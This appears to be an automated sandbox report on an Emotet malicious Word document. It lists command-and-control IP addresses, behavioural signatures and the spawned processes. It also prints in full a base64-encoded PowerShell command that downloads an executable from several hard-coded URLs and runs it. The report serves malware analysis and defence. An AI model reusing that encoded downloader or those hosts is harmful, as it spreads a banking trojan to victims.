Overview

overview

10

task1

 

task2

 

10

Analysis

  • max time kernel
    144s
  • max time network
    146s
  • resource
    win10

Sharing

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General

  • Target

    Docs_8284e996aea8e5075256c03a93eaa6df.4

  • Sample

    191011-nrbapdm1ce

  • SHA256

    9e1d7cd63b0edcb4b3c4b1c86ecf477245ba82b4291bf26484fe2dd6cd9d12a1

Score
N/A

Malware Config

Extracted

Family

emotet

C2

186.75.241.230:80

181.143.194.138:443

181.143.53.227:21

85.104.59.244:20

80.11.163.139:443

167.71.10.37:8080

104.131.44.150:8080

185.187.198.15:80

133.167.80.63:7080

198.199.114.69:8080

144.139.247.220:80

152.89.236.214:8080

78.24.219.147:8080

92.222.216.44:8080

46.105.131.87:80

190.226.44.20:21

182.176.132.213:8090

85.54.169.141:8080

192.81.213.192:8080

101.187.237.217:20
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Modifies registry class 1 TTPs 84 IoCs
    persistence
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • Drops file in system dir 6 IoCs
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_8284e996aea8e5075256c03a93eaa6df.4.doc" /o ""
    1⤵
    • Drops Office document
    • Checks system information in the registry (likely anti-VM)
    • Enumerates system info in registry
    • Checks processor information in registry (likely anti-VM)
    PID:3544
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2780
  • C:\Windows\System32\SLUI.exe
    "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
    1⤵
      PID:3600
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=
      1⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      PID:3068
    • C:\Users\Admin\877.exe
      "C:\Users\Admin\877.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      • Modifies registry class
      PID:2596
    • C:\Users\Admin\877.exe
      --406b0556
      1⤵
      • Modifies registry class
      • Emotet Sync
      • Drops file in system dir
      PID:2564
    • C:\Windows\SysWOW64\tabletmspterm.exe
      "C:\Windows\SysWOW64\tabletmspterm.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      • Modifies registry class
      PID:1668
    • C:\Windows\SysWOW64\tabletmspterm.exe
      --356fff06
      1⤵
      • Drops file in system dir
      PID:1644

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/1644-8-0x0000000000400000-0x0000000000481000-memory.dmp

      Filesize

      516KB

      Download

    • memory/2564-5-0x0000000000400000-0x0000000000481000-memory.dmp

      Filesize

      516KB

      Download

    • memory/2596-3-0x0000000003A90000-0x0000000003AA4000-memory.dmp

      Filesize

      80KB

      Download